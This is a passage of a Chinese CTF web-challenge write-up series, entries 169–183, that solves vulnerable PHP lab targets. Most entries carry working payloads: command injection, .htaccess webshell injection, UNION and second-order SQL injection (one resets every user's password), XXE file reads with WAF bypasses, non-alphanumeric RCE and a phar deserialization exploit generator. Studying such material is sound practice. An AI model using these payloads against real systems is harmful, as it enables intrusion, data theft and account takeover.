die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}

echo exec("nc".$_POST['One-ear']);

绕过hash_hmac,White-cat-monitor传入数组,会返回false,然后$clandestine的值就是false了,我们在本地echo(hash_hmac('sha256',';cat flag.php',false))就可以模拟出hh的值,然后用POST传Black-Cat-Sheriff为我们模拟的值,One-ear传入命令,读取的是flag.php

payload:

Black-Cat-Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6&One-ear=;cat flag.php&White-cat-monitor[]=1

169.[羊城杯 2020]easyphp

BUU做过,关于.htaccess的深入文章:https://blog.csdn.net/LYJ20010728/article/details/116538926

用的是用法五第一点的方法,.htaccess文件的内容如下

1
2
3
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /f*');?>\

第一个\绕过对file的过滤,.htaccess中,\作为连接符连接上下两行。这样,我们所有文件运行前就都会包含.htaccess文件,flag被过滤,使用通配符?来绕过,代码在content后面加了\nHello,world,会让.htaccess文件多出一句Hello,world,会让靶机500。所以在最后面加上\将下一行的hello,world拽上来。payload:

1
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/f*')%3B%3F%3E%5C

打了之后访问/index.php就能getflag。还有一个解法是用php伪协议,用64加密后传入content,写进.htaccess,先传一个将正则给绕过的.htaccess,也就是第五种用法的第2条,这样waf就会失效。

1
2
php_value pcre.backtrack_limit 0
php_value pcre.jit 0

php版本>=7就要设置第二行。传完之后就可以使用filter协议了,payload:

1
?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&f ilename=.htaccess
1
?filename=php://filter/write=convert.base64- decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcG hwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fYXBwZW5kX2ZpbGUgLmh0YWNjZXNzCiM8P3 BocCBldmFsKCRfR0VUWzFdKTs/Plw&1=phpinfo();

170.[HUBUCTF 2022 新生赛]ezsql

注册个账号登陆,sqlmap直接跑,能跑出库表字段但是获取不到内容,是要在update.php中手动注入,回显处在description,控制age为payload,通过控制password字段为弱口令,修改所有用户密码,登陆admin可以在description项里发现原密码的md5,解得iamcool,重启靶机直接登陆获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
payload1:
nickname=1&age=22,description=(select database())%23&description=1&token=2ae7179fd15fbb5aec663c29df11eef6
#demo2

payload2:
nickname=1&age=22,description=(select group_concat(table_name) from information_schema.tables where table_schema=demo2)%23&description=1&token=2ae7179fd15fbb5aec663c29df11eef6
#users

payload3:
nickname=1&age=22,description=(select group_concat(column_name) from information_schema.columns where table_name='0x7573657273')%23&description=1&token=2ae7179fd15fbb5aec663c29df11eef6
#hex('users')=0x7573657273,不然会报错
#id,username,password,nickname,age,description

payload4:
nickname=1&age=22,description=(select group_concat(password) )%23&description=1&token=2ae7179fd15fbb5aec663c29df11eef6
#回显的是md5加密后的注册密码,后面要修改密码

payload5:
nickname=1&age=22,password=0x3230326362393632616335393037356239363462303731353264323334623730%23&description=1&token=2ae7179fd15fbb5aec663c29df11eef6
#把所有用户的密码改成123

171.[SWPUCTF 2023 秋季新生赛]RCE-PLUS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
return($cmd);
}
else{
die("i hate this");
}
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>

把flag写入到文件

?cmd=cat /f*>1.txt

再访问1.txt就可以了

172.[NUSTCTF 2022 新生赛]ezProtocol

最终请求包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: node5.anna.nssctf.cn:28409
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: dinner=big meal
X-Forwarded-For: 127.0.0.1
Referer: http://localhost/
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 324

username=admin&p1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&p2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
1
2
3
4
5
6
1.POST
2.username参数
3.referer
4.xff
5.md5强碰撞
6.cookie

173.[SCTF 2021]loginme

新头,本地访问使用X-Real-IP

age={{.Password}}

174.[UUCTF 2022 新生赛]ezsql

–+注释都不行,又有个新的注释– -,总觉得太抽象了 常学常新,也是因为自己没有做过总结

payload还要逆序

password传参

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
payload1:
- --)(esabatad,1 tceles noinu )'1
#UUCTF

#查表时发现ro会置空,双写绕过

payload2:
- --'FTCUU'=amehcs_elbat erehw selbat.amehcs_noitamrofni moorrf )eman_elbat(tacnoc_puoorrg,1 tceles noinu )'1
#flag,users

payload3:
- --'galf'=eman_elbat erehw snmuloc.amehcs_noitamrofni moorrf )eman_nmuloc(tacnoc_puoorrg,1 tceles noinu )'1
#UUCTF

payload4:
- --galf.FTCUU moorrf )FTCUU(tacnoc_puoorrg,1 tceles noinu )'1

175.[NSSCTF 2nd]php签到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

function waf($filename){
$black_list = array("ph", "htaccess", "ini");
$ext = pathinfo($filename, PATHINFO_EXTENSION);
foreach ($black_list as $value) {
if (stristr($ext, $value)){
return false;
}
}
return true;
}

if(isset($_FILES['file'])){
$filename = urldecode($_FILES['file']['name']);
$content = file_get_contents($_FILES['file']['tmp_name']);
if(waf($filename)){
file_put_contents($filename, $content);
} else {
echo "Please re-upload";
}
} else{
highlight_file(__FILE__);
}

构造个文件上传表单,传文件名的时候用的是1.php/./进行url编码绕过waf,然后访问1.php就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://node5.anna.nssctf.cn:28194/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br><!--name要根据题目的源码来调节-->
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

176.[NCTF 2018]小绿草之最强大脑

F12有提示,扫目录源码泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
if(isset($_SESSION['ans']) && isset($_POST['ans'])){
if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){
session_destroy();
echo '
<script language="javascript">
alert("怎么没算对呢?");
window.history.back(-1); </script>';
}
else{
if(intval(time())-$_SESSION['time']<1){
session_destroy();
echo '
<script language="javascript">
alert("你手速太快啦,服务器承受不住!!!");
window.history.back(-1); </script> ';
}
if(intval(time())-$_SESSION['time']>2){
session_destroy();
echo '
<script language="javascript">
alert("你算的太慢了少年!");
window.history.back(-1); </script> ';
}
echo '
<script language="javascript">
alert("tql,算对了!!");
</script> ';
$_SESSION['count']++;
}
}
?>

利用intval()的特性,对超过21位数的操作结果会根据操作系统不同而产生不同的结果,32位系统:2147483647 64位系统:9223372036854775807

由于post后的响应体位置变动,上一个自己写的连续计算的傻瓜脚本是根据位置来提取参数的,所以会用不了,修改调试了很久,还是得掌握写正则来提取数据

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import time
import re
r = requests.session()
url = "http://node4.anna.nssctf.cn:28181/index.php/login"
inp = '9999999999999999999999'
res = r.get(url)
while('nctf' not in res.text):
np = re.compile(r'<div style="display:inline;">(.*?)</div>')
num = np.findall(res.text)
exp=''
for i in num:
if i == '=':
break
exp += i
exp+= '+'+'9223372036854775807'
print(exp)
ans = eval(exp)
print(ans)
data={'input':inp, 'ans':ans}
time.sleep(1)
res=r.post(url,data=data)
print(res.text)

177.[TQLCTF 2022]simple_bypass

注册个账号登陆,点到好康的,在加载图片的时候抓包,能够抓到访问图片的请求,修改文件名为index.php能获取到源码

payload:/get_pic.php?image=index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){
$hash_user = md5($_POST['user']);
$hash_pass = 'zsf'.md5($_POST['pass']);
if(isset($_POST['punctuation'])){
//filter
if (strlen($_POST['user']) > 6){
echo("<script>alert('Username is too long!');</script>");
}
elseif(strlen($_POST['website']) > 25){
echo("<script>alert('Website is too long!');</script>");
}
elseif(strlen($_POST['punctuation']) > 1000){
echo("<script>alert('Punctuation is too long!');</script>");
}
else{
if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
$template = file_get_contents('./template.html');
$content = str_replace("__USER__", $_POST['user'], $template);
$content = str_replace("__PASS__", $hash_pass, $content);
$content = str_replace("__WEBSITE__", $_POST['website'], $content);
$content = str_replace("__PUNC__", $_POST['punctuation'], $content);
file_put_contents('sandbox/'.$hash_user.'.php', $content);
echo("<script>alert('Successed!');</script>");
}
else{
echo("<script>alert('Invalid chars in website!');</script>");
}
}
else{
echo("<script>alert('Invalid chars in username!');</script>");
}
}
}
else{
setcookie("user", $_POST['user'], time()+3600);
setcookie("pass", $hash_pass, time()+3600);
Header("Location:sandbox/$hash_user.php");
}
}
?>

没什么有用的,试试读取登陆后的sandbox+sessid.php,去除没用的js

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
$user = ((string)2);
$pass = ((string)zsfc81e728d9d4c2f636f067f89cc14862c);

if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
echo($_COOKIE['user']);
}
else{
die("<script>alert('Permission denied!');</script>");
}
?>

以及get_pic.php

1
2
3
4
5
<?php
error_reporting(0);
$image = (string)$_GET['image'];
echo '<div class="img"> <img src="data:image/png;base64,' . base64_encode(file_get_contents($image)) . '" /> </div>';
?>

可以任意读,但是不知道flag叫什么在哪里

在template.html中的php代码有些许不一样

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
$user = ((string)__USER__);
$pass = ((string)__PASS__);
if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
echo($_COOKIE['user']);
}
else{
die("<script>alert('Permission denied!');</script>");
}
...
<a href="#" class="powered_by">__PUNC__</a>
<ul id="deskIcon">

这里可以发现一些字段是__xxxx__来表示的,回到最开始的index.php中,可以发现开头有些waf还有一些回显的机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if(isset($_POST['punctuation'])){
//filter
if (strlen($_POST['user']) > 6){
echo("<script>alert('Username is too long!');</script>");
}
elseif(strlen($_POST['website']) > 25){
echo("<script>alert('Website is too long!');</script>");
}
elseif(strlen($_POST['punctuation']) > 1000){
echo("<script>alert('Punctuation is too long!');</script>");
}
else{
if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){
if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){
$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
$template = file_get_contents('./template.html');
$content = str_replace("__USER__", $_POST['user'], $template);
$content = str_replace("__PASS__", $hash_pass, $content);
$content = str_replace("__WEBSITE__", $_POST['website'], $content);
$content = str_replace("__PUNC__", $_POST['punctuation'], $content);

user长度不超过6,[^\w\/\(\)\*<>]禁止了空格、取反、左右括号、斜杠、星号、左右尖括号;website的长度不超过6,[^\w\/\*:\.\;\(\)\n<>]限制了空格、取反、左右括号、斜杠、星号、左右尖括号、换行、冒号、点、分号。字符限制蛮严格的,但是punctuation禁止数字字字母以及>?,只能利用index.php下的<?php来执行,可以考虑无数字字母rce了。生成一个payload

1
$_='($((%-'^'[][\@@';$__='#:%('^'|}`|';$___=$$__;echo $___;$_($___['_']);

通过控制用户名为多行注释,在punc处闭合,从而利用最开头的<?php

1
2
3
4
5
6
7
8
username:
p/*
passwd:
任意
website:
任意
Punctuation:
*/); PAYLOAD /*

image-20240109114440640

image-20240109114501346

178.[October 2019]Twice SQL Injection

在用户名中存在sql注入,注册完成后登陆即可看到回显,是为二次注入

1
2
3
4
5
6
7
8
9
10
payload1:
username:1' union select database()#
#ctftraining

payload2:
username:1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'#
#flag,id,title,content,time,id,username,password,info

payload3:
username:1' union select group_concat(flag) from ctftraining.flag#

179.[广东强网杯 2021 团队组]love_Pokemon

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
error_reporting(0);
highlight_file(__FILE__);
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';

if(!file_exists($dir)){
mkdir($dir);
}

function DefenderBonus($Pokemon){
if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){
die('catch broken Pokemon! mew-_-two');
}
else{
return $Pokemon;
}

}

function ghostpokemon($Pokemon){
if(is_array($Pokemon)){
foreach ($Pokemon as $key => $pks) {
$Pokemon[$key] = DefenderBonus($pks);
}
}
else{
$Pokemon = DefenderBonus($Pokemon);
}
}

switch($_POST['myfavorite'] ?? ""){
case 'picacu!':
echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);
break;
case 'bulbasaur!':
echo md5('miaowa!').md5($_SERVER['REMOTE_ADDR']);
$level = $_POST["levelup"] ?? "";
if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){
echo file_get_contents('./hint.php');
}
break;
case 'squirtle':
echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);
break;
case 'mewtwo':
$dream = $_POST["dream"] ?? "";
if(strlen($dream)>=20){
die("So Big Pokenmon!");
}
ghostpokemon($dream);
echo shell_exec($dream);
}

?>

escapeshellarg()的作用是把字符串转码为在shell命令里使用的参数,它的特性是在处理超过ascii范围的字符会直接过滤,用一些不可见字符来绕过就行,如%81

image-20240109143450117

接着绕过非常严格的waf,用的是od命令,会将读取到的文件内容以八进制形式输出。flag无法使用*?通配符,用的是[]通配符,waf有a和l,[B-Z]就能匹配到B-Z之间任意一个字母我们要的是L,[@-Z]就能匹配到@-Z之间任意一个字母,我们要的是A,空格可以用%20(space)或者%09(tab)来绕过,od命令存在-c参数以ascii形式输出

payload:myfavorite=mewtwo&dream=od%09/F[B-Z][@-Z]G%09-c

1
0000000 N S S C T F { 3 4 7 8 a 4 e 3 - 0000020 6 0 6 2 - 4 8 b 9 - 9 3 c 5 - 0 0000040 7 3 a b 8 e 0 a d 3 9 } \n 0000055

去掉中间的20和40那串就可以了

180.[CISCN 2019华北Day1]Web1

随便注册登陆,随便传个文件,下载抓包可以任意读

读取/var/www/html/index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>


<!DOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>

<head>
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<link href="static/css/panel.css" rel="stylesheet">
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
<script src="static/js/panel.js"></script>
</head>

<body>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item active">管理面板</li>
<li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
<li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
</ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

看到class.php,九成九就是个反序列化题了,来读取看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

phar反序列化,首先会获取sandbox下的所有文件名,然后访问对应文件的名字和size,调用这两个方法,链子最终应该是close()进行文件内容的读取,而调用close()的地方只有一个,那就是User的__destruct()方法,控制db为file对象即可,但是好像没什么用,并不知道flag文件名叫什么,还是要进行系统函数的执行才可以,可以看下另一条链子,实例化完了FileList对象会访问NameSize方法,这两个方法并不存在于FileList,而在File里面,所以会触发__call(),而__call()会调用file内的func,并将结果存入$results

1
$this->results[$file->name()][$func] = $file->$func();

链子分析到这里,感觉还是不太明朗,读取download.php看下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>

通过这个我们就能知道,存在一个waf,无法直接读取flag,所以我们最终要利用的还是file_get_contents(),那也就是要触发close(),那么就是点击下载按钮,但是其实存在open_basedir这个点:

open_basedir 将php所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()等系统函数打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开

如果设置为

ini_set(“open_basedir”,/var)

那么就是限制前缀,可以使用任意后缀 :/var1 /var/www /varsda/…/

如果是

ini_set(“open_basedir”,/var/)

那么就是限制了目录,只能使用此目录的文件: /var/www/

那么download.php是没法利用的,来看看delete.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

它include是在chdir之前的,所以能够触发我们的链子,这样一看,其实就很简单了

1
User()->db->FileList()->file->__call()->File()->filename="flag.txt"

这里的flag.txt是猜测,只能这样解释了,主要集中注意到反序列化上吧,还是那句话,构造函数__construct()是我们可以控制重写的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
<?php
class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct() {
$this->files = array();
$a = new File('/flag.txt');
array_push($this->files,$a);

}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;
public function __construct($filename){
$this->filename=$filename;
}

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
$a = new User();
$a->db = new FileList();

$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString('1.txt','1');
$phar->stopBuffering();

把exp.phar传上去,改下content-type为图片类型的,然后点删除,抓包用phar://访问文件名就可以getflag了

image-20240109172415125

181.[SWPUCTF 2023 秋季新生赛]Pingpingping

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
error_reporting(0);
$_ping = $_GET['Ping_ip.exe'];
if(isset($_ping)){
system("ping -c 3 ".$_ping);
}else{
$data = base64_encode(file_get_contents("error.png"));
echo "<img src='data:image/png;base64,$data'/>";
}

下划线无法解释,要用[来代替,在php中,变量名只有数字字母下划线,从get/post传入的,如果含有空格、+、[则会被转化为_,如果传入[,被转化为_后就不会被替换掉

payload:?Ping[ip.exe;cat /flag

182.[CSAWQual 2019]Unagi

查看user.php,用户信息存在4个字段:name、email、group、intro;upload.php中可以上传xml文件,样例格式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<users>
<user>
<username>alice</username>
<password>passwd1</password>
<name>Alice</name>
<email>alice@fakesite.com</email>
<group>CSAW2019</group>
</user>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
</user>
</users>

少了intro字段,那么考虑在intro里回显,插入xxe的poc

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY file SYSTEM "file:///flag">
]>
<intro>&file;</intro>

完整文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY file SYSTEM "file:///flag">
]>
<users>
<user>
<username>alice</username>
<password>passwd1</password>
<name>Alice</name>
<email>alice@fakesite.com</email>
<group>CSAW2019</group>
</user>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&file;</intro>
</user>
</users>

上传发现被waf,使用UTF16编码

1
iconv -f UTF-8 -t UTF16BE xxe.xml>xxe2.xml

上传后getflag

183.[HNCTF 2022 Week1]Challenge__rce

F12发现要传hint参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
if (isset($_GET['hint'])) {
highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
if (strlen($rce) <= 120) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}

禁了大量特殊符号。无字母数字rce的异或与取反都被ban了,可以写一个根据waf的正则输出合法字符的脚本

1
2
3
4
5
6
7
8
9
10
<?php
//自增rce
$pass='';
for($i=32;$i<127;$i++){
